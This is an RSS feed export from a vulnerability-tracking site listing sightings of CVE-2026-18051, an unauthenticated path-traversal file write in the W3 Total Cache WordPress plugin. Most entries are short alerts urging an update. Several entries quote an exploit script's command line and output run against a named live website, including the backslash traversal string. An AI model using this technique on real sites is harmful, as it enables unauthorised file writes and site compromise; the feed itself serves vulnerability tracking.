https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Fri, 21 Aug 2026 02:58:14 +0000 https://vulnerability.circl.lu/sighting/f6afbca7-be13-4243-971e-e3754f17bc90/export {"uuid": "f6afbca7-be13-4243-971e-e3754f17bc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/449", "content": "python poc-cve-2026-18501.py --host http://www.sp2go.info\n\n============================================================\n ALIM EXPLOIT CVE-2026-18051\n Type: Path Traversal (arbitrary file write) | Target: www.sp2go.info:80\n============================================================\n\n[STEP 1] Baseline: reading /_index_slash.html before the write\n\n--- BEFORE (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n / so the traversal resolves)\n[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments\n\n--- TRAVERSAL RESPONSE ---\nHTTP 200, 68551 bytes body\n---\n\n[STEP 4] Reading /_index_slash.html back to confirm the write landed\n\n--- AFTER (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n \n \n\n Suchergebnisse f\u00c3\u00bcr „2e523a8e921c03f8\\..\\..\\..\\..\\..\\..\\“ – SP2GO\n\n", "creation_timestamp": "2026-08-21T00:00:08.895177Z"} {"uuid": "f6afbca7-be13-4243-971e-e3754f17bc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/449", "content": "python poc-cve-2026-18501.py --host http://www.sp2go.info\n\n============================================================\n ALIM EXPLOIT CVE-2026-18051\n Type: Path Traversal (arbitrary file write) | Target: www.sp2go.info:80\n============================================================\n\n[STEP 1] Baseline: reading /_index_slash.html before the write\n\n--- BEFORE (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n / so the traversal resolves)\n[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments\n\n--- TRAVERSAL RESPONSE ---\nHTTP 200, 68551 bytes body\n---\n\n[STEP 4] Reading /_index_slash.html back to confirm the write landed\n\n--- AFTER (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n \n \n\n Suchergebnisse f\u00c3\u00bcr „2e523a8e921c03f8\\..\\..\\..\\..\\..\\..\\“ – SP2GO\n\n", "creation_timestamp": "2026-08-21T00:00:08.895177Z"} https://vulnerability.circl.lu/sighting/f6afbca7-be13-4243-971e-e3754f17bc90/export Fri, 21 Aug 2026 00:00:08 +0000 https://vulnerability.circl.lu/sighting/a9185c0f-2ffb-442a-8a2f-46b295efba80/export {"uuid": "a9185c0f-2ffb-442a-8a2f-46b295efba80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://t.me/captainsmok3r_official/449", "content": "python poc-cve-2026-18501.py --host http://www.sp2go.info\n\n============================================================\n ALIM EXPLOIT CVE-2026-18051\n Type: Path Traversal (arbitrary file write) | Target: www.sp2go.info:80\n============================================================\n\n[STEP 1] Baseline: reading /_index_slash.html before the write\n\n--- BEFORE (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n / so the traversal resolves)\n[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments\n\n--- TRAVERSAL RESPONSE ---\nHTTP 200, 68551 bytes body\n---\n\n[STEP 4] Reading /_index_slash.html back to confirm the write landed\n\n--- AFTER (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n \n \n\n Suchergebnisse f\u00c3\u00bcr „2e523a8e921c03f8\\..\\..\\..\\..\\..\\..\\“ – SP2GO\n\n", "creation_timestamp": "2026-08-20T20:00:03.565053Z"} {"uuid": "a9185c0f-2ffb-442a-8a2f-46b295efba80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://t.me/captainsmok3r_official/449", "content": "python poc-cve-2026-18501.py --host http://www.sp2go.info\n\n============================================================\n ALIM EXPLOIT CVE-2026-18051\n Type: Path Traversal (arbitrary file write) | Target: www.sp2go.info:80\n============================================================\n\n[STEP 1] Baseline: reading /_index_slash.html before the write\n\n--- BEFORE (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n / so the traversal resolves)\n[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments\n\n--- TRAVERSAL RESPONSE ---\nHTTP 200, 68551 bytes body\n---\n\n[STEP 4] Reading /_index_slash.html back to confirm the write landed\n\n--- AFTER (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n \n \n\n Suchergebnisse f\u00c3\u00bcr „2e523a8e921c03f8\\..\\..\\..\\..\\..\\..\\“ – SP2GO\n\n", "creation_timestamp": "2026-08-20T20:00:03.565053Z"} https://vulnerability.circl.lu/sighting/a9185c0f-2ffb-442a-8a2f-46b295efba80/export Thu, 20 Aug 2026 20:00:03 +0000 https://vulnerability.circl.lu/sighting/ba28a03b-cda1-4986-a252-a0894270da36/export {"uuid": "ba28a03b-cda1-4986-a252-a0894270da36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://t.me/captainsmok3r_official/440", "content": "CVE-2026-18051 (CVSS 10) is an unauthenticated arbitrary file write in W3 Total Cache, exposing 900k+ WordPress websites.", "creation_timestamp": "2026-08-20T00:00:27.883536Z"} {"uuid": "ba28a03b-cda1-4986-a252-a0894270da36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://t.me/captainsmok3r_official/440", "content": "CVE-2026-18051 (CVSS 10) is an unauthenticated arbitrary file write in W3 Total Cache, exposing 900k+ WordPress websites.", "creation_timestamp": "2026-08-20T00:00:27.883536Z"} https://vulnerability.circl.lu/sighting/ba28a03b-cda1-4986-a252-a0894270da36/export Thu, 20 Aug 2026 00:00:27 +0000 https://vulnerability.circl.lu/sighting/cd58b957-df98-4942-abd9-efa4a519e36d/export {"uuid": "cd58b957-df98-4942-abd9-efa4a519e36d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://t.me/captainsmok3r_official/440", "content": "CVE-2026-18051 (CVSS 10) is an unauthenticated arbitrary file write in W3 Total Cache, exposing 900k+ WordPress websites.", "creation_timestamp": "2026-08-19T18:00:05.080383Z"} {"uuid": "cd58b957-df98-4942-abd9-efa4a519e36d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://t.me/captainsmok3r_official/440", "content": "CVE-2026-18051 (CVSS 10) is an unauthenticated arbitrary file write in W3 Total Cache, exposing 900k+ WordPress websites.", "creation_timestamp": "2026-08-19T18:00:05.080383Z"} https://vulnerability.circl.lu/sighting/cd58b957-df98-4942-abd9-efa4a519e36d/export Wed, 19 Aug 2026 18:00:05 +0000 https://vulnerability.circl.lu/sighting/455cdd16-9620-4d5d-8077-421568ebc9a3/export {"uuid": "455cdd16-9620-4d5d-8077-421568ebc9a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mth7wqqwd42c", "content": "CVE-2026-18051 - w3 total cache\nAn outdated version of the W3 Total Cache plugin for WordPress allows attackers to write files into any directory on the server, including the site's .htaccess files. This can break\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#unknown #CVE #infosec", "creation_timestamp": "2026-08-19T17:10:08.300508Z"} {"uuid": "455cdd16-9620-4d5d-8077-421568ebc9a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mth7wqqwd42c", "content": "CVE-2026-18051 - w3 total cache\nAn outdated version of the W3 Total Cache plugin for WordPress allows attackers to write files into any directory on the server, including the site's .htaccess files. This can break\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#unknown #CVE #infosec", "creation_timestamp": "2026-08-19T17:10:08.300508Z"} https://vulnerability.circl.lu/sighting/455cdd16-9620-4d5d-8077-421568ebc9a3/export Wed, 19 Aug 2026 17:10:08 +0000 https://vulnerability.circl.lu/sighting/ff5ea947-545a-409c-8273-88c03aeb8ae3/export {"uuid": "ff5ea947-545a-409c-8273-88c03aeb8ae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mtge7fbhbf26", "content": "CVE-2026-18051 (CVSS 10) is an unauthenticated arbitrary file write in W3 Total Cache, exposing 900k+ WordPress sites. Update to 2.10.5 now.\n\n#W3TotalCache #WordPress #CVE202618051 #PathTraversal #InfoSec", "creation_timestamp": "2026-08-19T08:53:50.212358Z"} {"uuid": "ff5ea947-545a-409c-8273-88c03aeb8ae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18051", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mtge7fbhbf26", "content": "CVE-2026-18051 (CVSS 10) is an unauthenticated arbitrary file write in W3 Total Cache, exposing 900k+ WordPress sites. Update to 2.10.5 now.\n\n#W3TotalCache #WordPress #CVE202618051 #PathTraversal #InfoSec", "creation_timestamp": "2026-08-19T08:53:50.212358Z"} https://vulnerability.circl.lu/sighting/ff5ea947-545a-409c-8273-88c03aeb8ae3/export Wed, 19 Aug 2026 08:53:50 +0000